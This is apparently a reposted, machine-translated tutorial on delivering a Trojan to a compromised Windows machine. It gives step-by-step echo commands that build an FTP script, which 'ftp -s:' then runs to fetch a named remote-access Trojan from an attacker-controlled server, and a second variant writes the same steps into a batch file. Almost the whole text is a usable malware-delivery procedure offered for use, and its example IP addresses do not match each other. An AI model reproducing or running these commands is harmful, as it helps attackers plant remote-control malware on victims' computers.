ftp horse transfer command

ftp horse transfer command and tutorial

Suppose we already have an FTP server with a Trojan file mhgz.exe that we have configured, we should know the three parameters of the FTP server:

1. The IP address of the FTP server: such as 1.1.1.1
2. The username of the FTP server: such as test
3. Password of the FTP server: such as test123

Enter the following commands in sequence under C*** of the remote computer:

1. echo open 221.202.50.125>>test.txt to log in to the FTP server
2. echo 123>>test.txt username
3. echo 123>>test.txt password
4. echo bin>>test.txt starts
5. echo get mhgz.exe>>test.txt to download the gray pigeon Trojan
6. echo bye>>test.txt to close the FTP server

After entering the above command, a test.txt file will be generated on the remote computer with the content:
open 1.1.1.1
test
test123
bin
get mhgz.exe
bye

Now we execute the following command on the remote computer:
ftp -s:test.txt means, read the parameters in test.txt, execute the ftp command, after the command is executed, the gray pigeon Trojan file mhgz.exe will be downloaded to the other computer.




36. To upload the horse method with ftp under cmd, we can use echo to write a batch file
echo open your FTP space address>c:\1.bat //Enter your FTP address
echo your FTP account >>c:\1.bat //Enter account
echo your FTP password >>c:\1.bat //Enter password
echo bin >>c:\1.bat //Login
echo get your Trojan name c:\ ating.exe >>c:\1.bat //Download a file to a certain place and change the name to what
echo bye >>c:\1.bat //Exit
Then execute ftp -s:c:\1.bat

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325729802&siteId=291194637